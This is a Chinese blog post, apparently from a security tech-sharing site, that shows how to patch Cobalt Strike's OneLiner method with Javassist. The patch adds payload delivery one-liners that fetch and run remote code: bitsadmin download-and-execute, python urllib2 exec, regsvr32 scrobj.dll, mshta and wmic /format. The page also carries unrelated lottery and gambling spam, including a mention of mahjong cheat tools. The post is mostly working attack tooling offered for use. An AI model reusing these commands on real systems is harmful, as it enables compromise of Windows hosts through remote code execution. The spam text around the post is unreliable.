福彩3d出号走势图彩乐乐
3D任5选2组合遗漏分析 福彩3d跨度走势图带连线图 3d和尾走势图带连线 福彩3d和值走势图500期 3d和尾走势图大全 福彩3d大小奇偶走势图500期 今天3d试机号分析 福彩3d组三走势图带连线图 彩票3d试机号分析 福彩3d和值走势图带连线易彩网 福彩3d出号走势图彩宝贝 彩吧助手福彩3d出号走势图 福彩3d和值走势图带线 3d试机号分析17500 南方福彩3d跨度走势图带连线
Cobal Strike 自定義OneLiner
in 技術分享 with 1 comment

Cobal Strike 自定義OneLiner

in 技術分享 with 1 comment

0x00 起因

在使用Cobal Strike的過程中,我們可以看到里面已經集成了幾種 Script Web Delivery,如下圖:

19484-drjxyu0m4wg.png

而且在生成以后打開site,只需要點擊Copy URL就可以把命令復制出來,再寫aggressor腳本時也想要實現這個功能,發現copy以后只有url,并沒有命令,所以為了一探究竟,還是把CS解壓,grep了一把,定位到common.CommonUtils,發現了OneLiner方法:
73927-nvotona7nxc.png

所以要實現這個功能我們就需要對這個class進行修改,增加我們想要的命令。

0x01 使用javassist修改class

Javassist是一個能夠操作字節碼框架,通過它我們能很輕易的修改class代碼。首先下載javassist ,新建一個java工程,右鍵工程導入javassist包。

15585-gsx22q9953w.png

我們可能常用mshta http://host/test.png 的方式來請求payload,可以使用一下代碼進行添加:

package changeclass;

import java.io.IOException;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;

public class change {
        public static void main(String[] args) {
            updateMethod();
        }
        
        public static void updateMethod(){
            try {
                ClassPool cPool = new ClassPool(true);
                    //如果該文件引入了其它類,需要利用類似如下方式聲明
                //cPool.importPackage("java.util.List");
                
                //設置cobaltstrike.jar文件的位置
                cPool.insertClassPath("/tmp/cobaltstrike.jar");
                
                //獲取該要修改的class對象
                CtClass cClass = cPool.get("common.CommonUtils");
                
                //獲取到對應的方法
                CtMethod cMethod = cClass.getDeclaredMethod("OneLiner");
                
                //更改該方法的內部實現
                //需要注意的是對于參數的引用要以$開始,不能直接輸入參數名稱
                cMethod.setBody("{ if (\"bitsadmin\".equals($2)) {"
                        + "String f = garbage(\"temp\");"
                        + "return \"cmd.exe /c bitsadmin /transfer \" + f + \" \" + $1 + \" %APPDATA%\\\\\" + f + \".exe&%APPDATA%\\\\\" + f + \".exe&del %APPDATA%\\\\\" + f + \".exe\";}"
                        + "if (\"powershell\".equals($2)) {"
                        + "return PowerShellOneLiner($1);}"
                        + "if (\"python\".equals($2)) {"
                        + "return \"python -c \\\"import urllib2; exec urllib2.urlopen('\" + $1 + \"').read();\\\"\";}"
                        + "if (\"regsvr32\".equals($2)) {"
                        + "return \"regsvr32 /s /n /u /i:\" + $1 + \" scrobj.dll\";}"
                        + "if (\"mshta\".equals($2)) {"
                        + "return \"mshta \" + $1;}"
                        + "if (\"wmic\".equals($2)) {"
                        + "  return \"wmic os get /format:\\\"\" + $1 + \"\\\"\";}"
                        + "print_error(\"'\" + $2 + \"' for URL '\" + $1 + \"' does not have a one-liner\");"
                        + "throw new RuntimeException(\"'\" + $2 + \"' for URL '\" + $1 + \"' does not have a one-liner\");}");
                
                //修改以后輸出目錄
                cClass.writeFile("/tmp/");
                
                System.out.println("=======修改方法完=========");
            } catch (NotFoundException e) {
                e.printStackTrace();
            } catch (CannotCompileException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }

}

在這里要注意的是,方法 OneLiner(String url, String type)有兩個參數,方法中的參數從 $1 開始,若該方法為非 static 方法,可以用 $0 來表示該方法實例自身,若該方法為 static 方法,則 $0 不可用。而且寫的代碼需要將", \ 進行轉義。

運行此代碼,可成功生成一個新的class:
39332-5o637aqvh1.png

41077-02rq3jqomynr.png

將此class替換CS中的class就好了。

使用的時候只需要在aggressor中site_host中指定即可,例如使用wmic

site_host(%options["host"], %options["port"], %options["uri"], $data, "text/plain", "Scripted Web Delivery (wmic)"); 

使用mshta

site_host(%options["host"], %options["port"], %options["htauri"], $htadata, "application/hta", "Scripted Web Delivery (mshta)");

效果如下:
aaa

已經編譯好的class可以從這里下載:
GITHUB:

Responses
  1. wilson

    師傅,你是用啥編譯的,我感覺大改一次了,被殺的一塌糊涂

    Reply
福彩3d出号走势图彩乐乐
3D任5选2组合遗漏分析 福彩3d跨度走势图带连线图 3d和尾走势图带连线 福彩3d和值走势图500期 3d和尾走势图大全 福彩3d大小奇偶走势图500期 今天3d试机号分析 福彩3d组三走势图带连线图 彩票3d试机号分析 福彩3d和值走势图带连线易彩网 福彩3d出号走势图彩宝贝 彩吧助手福彩3d出号走势图 福彩3d和值走势图带线 3d试机号分析17500 南方福彩3d跨度走势图带连线
学空间物理赚钱吗 陈浩的股票分析软件 时时计划群发软件 欢乐麻将外挂软件 云南快乐10分奖金 亿酷注册送6元救济金斗地主 可提现的手机麻将游戏 比特币行情软件汉化 排列五开奖号码今天 闲来麻将辅助作弊器